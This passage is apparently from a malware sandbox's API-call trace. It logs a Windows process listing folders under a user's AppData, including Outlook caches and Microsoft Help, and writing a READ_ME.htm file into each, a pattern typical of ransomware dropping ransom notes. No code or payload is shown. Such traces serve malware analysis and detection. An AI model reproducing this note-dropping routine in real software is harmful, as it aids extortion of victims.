lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding", lpFilePart=0x0) returned 0x3a [0146.422] SetErrorMode (uMode=0x1) returned 0x0 [0146.422] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\gliding\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.423] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0146.423] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.423] SetErrorMode (uMode=0x0) returned 0x1 [0146.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding\\READ_ME.htm", lpFilePart=0x0) returned 0x46 [0146.423] SetErrorMode (uMode=0x1) returned 0x0 [0146.424] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\gliding\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.426] GetFileType (hFile=0x1d0) returned 0x1 [0146.426] SetErrorMode (uMode=0x0) returned 0x1 [0146.426] GetFileType (hFile=0x1d0) returned 0x1 [0146.427] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a9180*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29a9180*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0146.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", lpFilePart=0x0) returned 0x3c [0146.428] SetErrorMode (uMode=0x1) returned 0x0 [0146.428] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\roamcache\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x1a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_AvailabilityOptions_2_75C5CB426A060443A982525DF40CA7EF.dat", cAlternateFileName="STREAM~3.DAT")) returned 1 [0146.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24256a10, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x24256a10, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_Calendar_2_CB55C2C1F45FED459E403036C0F2F1E7.dat", cAlternateFileName="STREAM~2.DAT")) returned 1 [0146.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_ConversationPrefs_2_523DB53CC2B7B64A8FAC840DB61DB8EE.dat", cAlternateFileName="ST3BAF~1.DAT")) returned 1 [0146.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_RssRule_2_484261F764576D4095BC718A1E9A6B6D.dat", cAlternateFileName="ST6C14~1.DAT")) returned 1 [0146.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x242a2cd0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_TableViewPreviewPrefs_2_7E96CFF05AA1AB4F91E2DCF307336A81.dat", cAlternateFileName="ST5D96~1.DAT")) returned 1 [0146.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x238ab0b0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x238ab0b0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x238ab0b0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_TCPrefs_2_EC28410E7B2CDA4AB38C0BC60099B183.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0146.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_WorkHours_1_0B01BFE21DA49B4A926A43DB70EDB003.dat", cAlternateFileName="STREAM~4.DAT")) returned 1 [0146.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_WorkHours_1_0B01BFE21DA49B4A926A43DB70EDB003.dat", cAlternateFileName="STREAM~4.DAT")) returned 0 [0146.432] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.434] SetErrorMode (uMode=0x0) returned 0x1 [0146.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", lpFilePart=0x0) returned 0x3c [0146.434] SetErrorMode (uMode=0x1) returned 0x0 [0146.434] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\roamcache\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x1a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_AvailabilityOptions_2_75C5CB426A060443A982525DF40CA7EF.dat", cAlternateFileName="STREAM~3.DAT")) returned 1 [0146.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24256a10, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x24256a10, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_Calendar_2_CB55C2C1F45FED459E403036C0F2F1E7.dat", cAlternateFileName="STREAM~2.DAT")) returned 1 [0146.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_ConversationPrefs_2_523DB53CC2B7B64A8FAC840DB61DB8EE.dat", cAlternateFileName="ST3BAF~1.DAT")) returned 1 [0146.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_RssRule_2_484261F764576D4095BC718A1E9A6B6D.dat", cAlternateFileName="ST6C14~1.DAT")) returned 1 [0146.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x242a2cd0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_TableViewPreviewPrefs_2_7E96CFF05AA1AB4F91E2DCF307336A81.dat", cAlternateFileName="ST5D96~1.DAT")) returned 1 [0146.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x238ab0b0, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x238ab0b0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x238ab0b0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_TCPrefs_2_EC28410E7B2CDA4AB38C0BC60099B183.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0146.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_WorkHours_1_0B01BFE21DA49B4A926A43DB70EDB003.dat", cAlternateFileName="STREAM~4.DAT")) returned 1 [0146.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2427cb70, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x2427cb70, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x2427cb70, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_WorkHours_1_0B01BFE21DA49B4A926A43DB70EDB003.dat", cAlternateFileName="STREAM~4.DAT")) returned 0 [0146.437] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.438] SetErrorMode (uMode=0x0) returned 0x1 [0146.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\READ_ME.htm", lpFilePart=0x0) returned 0x48 [0146.438] SetErrorMode (uMode=0x1) returned 0x0 [0146.439] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\roamcache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.439] GetFileType (hFile=0x1d0) returned 0x1 [0146.439] SetErrorMode (uMode=0x0) returned 0x1 [0146.440] GetFileType (hFile=0x1d0) returned 0x1 [0146.440] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b0b80*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29b0b80*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0146.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\READ_ME.htm", lpFilePart=0x0) returned 0x3e [0146.441] SetErrorMode (uMode=0x1) returned 0x0 [0146.441] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.441] GetFileType (hFile=0x1d0) returned 0x1 [0146.441] SetErrorMode (uMode=0x0) returned 0x1 [0146.441] GetFileType (hFile=0x1d0) returned 0x1 [0146.441] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b5140*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29b5140*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0146.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0146.442] SetErrorMode (uMode=0x1) returned 0x0 [0146.442] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.445] GetFileType (hFile=0x1d0) returned 0x1 [0146.445] SetErrorMode (uMode=0x0) returned 0x1 [0146.445] GetFileType (hFile=0x1d0) returned 0x1 [0146.446] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b96e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29b96e0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0146.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help", lpFilePart=0x0) returned 0x2f [0146.447] SetErrorMode (uMode=0x1) returned 0x0 [0146.447] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft help\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.448] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.448] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0146.448] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.449] SetErrorMode (uMode=0x0) returned 0x1 [0146.449] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help", lpFilePart=0x0) returned 0x2f [0146.449] SetErrorMode (uMode=0x1) returned 0x0 [0146.449] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft help\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.449] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0146.450] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.450] SetErrorMode (uMode=0x0) returned 0x1 [0146.450] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0146.450] SetErrorMode (uMode=0x1) returned 0x0 [0146.450] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft Help\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft help\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.452] GetFileType (hFile=0x1d0) returned 0x1 [0146.452] SetErrorMode (uMode=0x0) returned 0x1 [0146.452] GetFileType (hFile=0x1d0) returned 0x1 [0146.452] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bf378*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29bf378*, 